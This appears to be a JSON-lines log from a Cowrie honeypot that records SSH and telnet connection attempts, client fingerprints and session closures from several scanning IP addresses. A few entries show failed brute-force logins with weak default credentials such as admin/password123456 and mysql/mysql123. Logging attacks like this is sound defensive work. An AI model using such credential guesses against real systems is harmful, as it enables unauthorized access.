{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:16.845409Z","src_ip":"47.239.15.75","session":"1041fb686d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36552,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c5b34a21d5","protocol":"telnet","message":"New connection: 45.58.127.90:36552 (10.17.0.5:23) [session: 89c5b34a21d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:17.650182Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56184,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dc51a996b57","protocol":"telnet","message":"New connection: 45.58.127.90:56184 (10.17.0.5:23) [session: 1dc51a996b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:19.060874Z"}
{"eventid":"cowrie.session.closed","duration":40.62177777290344,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:19.619057Z","src_ip":"45.58.127.90","session":"26673d0fd654","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.651952266693115,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:20.368594Z","src_ip":"147.182.143.59","session":"d2cae9902482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56200,"dst_ip":"10.17.0.5","dst_port":23,"session":"588558605a4d","protocol":"telnet","message":"New connection: 45.58.127.90:56200 (10.17.0.5:23) [session: 588558605a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:21.300899Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:28.178014Z","src_ip":"47.239.15.75","session":"49a05fe71247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56208,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b98a897ff12","protocol":"telnet","message":"New connection: 45.58.127.90:56208 (10.17.0.5:23) [session: 7b98a897ff12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:28.854575Z"}
{"eventid":"cowrie.session.closed","duration":40.14275121688843,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:32.515983Z","src_ip":"45.58.127.90","session":"702d88621d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60270,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4593e99fe06","protocol":"telnet","message":"New connection: 45.58.127.90:60270 (10.17.0.5:23) [session: a4593e99fe06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:39.828969Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":36734,"dst_ip":"159.203.135.109","dst_port":23,"session":"514c5318ef11","protocol":"telnet","message":"New connection: 213.63.236.79:36734 (159.203.135.109:23) [session: 514c5318ef11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:41.986719Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35154,"dst_ip":"159.203.135.109","dst_port":23,"session":"909754cb0fdd","protocol":"telnet","message":"New connection: 147.182.143.59:35154 (159.203.135.109:23) [session: 909754cb0fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:45.590110Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":38030,"dst_ip":"10.17.0.5","dst_port":22,"session":"52c4a55a6973","protocol":"ssh","message":"New connection: 79.104.0.82:38030 (10.17.0.5:22) [session: 52c4a55a6973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:55.205384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:55.210201Z","src_ip":"79.104.0.82","session":"52c4a55a6973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:55.355920Z","src_ip":"79.104.0.82","session":"52c4a55a6973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.73805499076843,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:55.798826Z","src_ip":"45.58.127.90","session":"1dc51a996b57","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password123456","message":"login attempt [admin/password123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:55.965195Z","src_ip":"79.104.0.82","session":"52c4a55a6973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:57.117842Z","src_ip":"79.104.0.82","session":"52c4a55a6973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.612831592559814,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:57.262892Z","src_ip":"45.58.127.90","session":"89c5b34a21d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.87691640853882,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:01.177689Z","src_ip":"45.58.127.90","session":"588558605a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.605591773986816,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:03.460054Z","src_ip":"45.58.127.90","session":"7b98a897ff12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126714944839478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:13.113327Z","src_ip":"213.63.236.79","session":"514c5318ef11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":43920,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8b5baf23298","protocol":"ssh","message":"New connection: 47.239.15.75:43920 (159.203.135.109:22) [session: f8b5baf23298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:14.556316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:14.666315Z","src_ip":"47.239.15.75","session":"f8b5baf23298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45947313308716,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:15.288265Z","src_ip":"45.58.127.90","session":"a4593e99fe06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59982,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd570d6ef4d","protocol":"telnet","message":"New connection: 147.182.143.59:59982 (159.203.135.109:23) [session: 1dd570d6ef4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:15.448698Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34336,"dst_ip":"10.17.0.5","dst_port":23,"session":"8babbb91f96c","protocol":"telnet","message":"New connection: 45.58.127.90:34336 (10.17.0.5:23) [session: 8babbb91f96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:18.037120Z"}
{"eventid":"cowrie.session.closed","duration":3.0039892196655273,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:21.040984Z","src_ip":"45.58.127.90","session":"8babbb91f96c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43986,"dst_ip":"10.17.0.5","dst_port":23,"session":"01289f5fc756","protocol":"telnet","message":"New connection: 45.58.127.90:43986 (10.17.0.5:23) [session: 01289f5fc756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:22.867779Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:25.650515Z","src_ip":"47.239.15.75","session":"f8b5baf23298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:27.451086Z","src_ip":"47.239.15.75","session":"f8b5baf23298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44000,"dst_ip":"10.17.0.5","dst_port":23,"session":"53fc31685879","protocol":"telnet","message":"New connection: 45.58.127.90:44000 (10.17.0.5:23) [session: 53fc31685879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:27.487651Z"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:28.661312Z","src_ip":"47.239.15.75","session":"f8b5baf23298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.93440842628479,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:30.382979Z","src_ip":"147.182.143.59","session":"1dd570d6ef4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46584,"dst_ip":"10.17.0.5","dst_port":23,"session":"b72d5f8c8163","protocol":"telnet","message":"New connection: 45.58.127.90:46584 (10.17.0.5:23) [session: b72d5f8c8163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:32.565110Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36396,"dst_ip":"159.203.135.109","dst_port":23,"session":"72e1353c0caf","protocol":"telnet","message":"New connection: 147.182.143.59:36396 (159.203.135.109:23) [session: 72e1353c0caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:39.589351Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36408,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d659fb8fa1c","protocol":"telnet","message":"New connection: 147.182.143.59:36408 (159.203.135.109:23) [session: 0d659fb8fa1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:41.368506Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":54012,"dst_ip":"10.17.0.5","dst_port":22,"session":"a969f868e2a7","protocol":"ssh","message":"New connection: 79.104.0.82:54012 (10.17.0.5:22) [session: a969f868e2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:50.710096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:50.715088Z","src_ip":"79.104.0.82","session":"a969f868e2a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:50.861547Z","src_ip":"79.104.0.82","session":"a969f868e2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:51.476502Z","src_ip":"79.104.0.82","session":"a969f868e2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.6954288482666,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:52.285390Z","src_ip":"147.182.143.59","session":"909754cb0fdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:52.626073Z","src_ip":"79.104.0.82","session":"a969f868e2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.41806411743164,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:55.007298Z","src_ip":"147.182.143.59","session":"72e1353c0caf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.949711084365845,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:56.318091Z","src_ip":"147.182.143.59","session":"0d659fb8fa1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42980,"dst_ip":"10.17.0.5","dst_port":23,"session":"093baf987a59","protocol":"telnet","message":"New connection: 45.58.127.90:42980 (10.17.0.5:23) [session: 093baf987a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:58.838597Z"}
{"eventid":"cowrie.session.closed","duration":36.259357213974,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:56:59.126987Z","src_ip":"45.58.127.90","session":"01289f5fc756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.8512966632843,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:06.338864Z","src_ip":"45.58.127.90","session":"53fc31685879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.35098576545715,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:09.915976Z","src_ip":"45.58.127.90","session":"b72d5f8c8163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:10.054558Z","src_ip":"47.239.15.75","session":"1041fb686d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49136,"dst_ip":"10.17.0.5","dst_port":23,"session":"42a1b97551f2","protocol":"telnet","message":"New connection: 45.58.127.90:49136 (10.17.0.5:23) [session: 42a1b97551f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:22.644806Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55076,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7bc1e1219ac","protocol":"telnet","message":"New connection: 147.182.143.59:55076 (159.203.135.109:23) [session: c7bc1e1219ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:26.586343Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49152,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f69d20c2476","protocol":"telnet","message":"New connection: 45.58.127.90:49152 (10.17.0.5:23) [session: 6f69d20c2476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:27.023022Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.119.25.114","src_port":55129,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b50e87be1ad","protocol":"telnet","message":"New connection: 179.119.25.114:55129 (159.203.135.109:23) [session: 1b50e87be1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:30.142832Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43762,"dst_ip":"10.17.0.5","dst_port":23,"session":"68581042224e","protocol":"telnet","message":"New connection: 45.58.127.90:43762 (10.17.0.5:23) [session: 68581042224e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:32.589650Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":41748,"dst_ip":"10.17.0.5","dst_port":22,"session":"d357569373aa","protocol":"ssh","message":"New connection: 79.104.0.82:41748 (10.17.0.5:22) [session: d357569373aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:40.348388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:40.353376Z","src_ip":"79.104.0.82","session":"d357569373aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:40.505389Z","src_ip":"79.104.0.82","session":"d357569373aa","protocol":"ssh"}
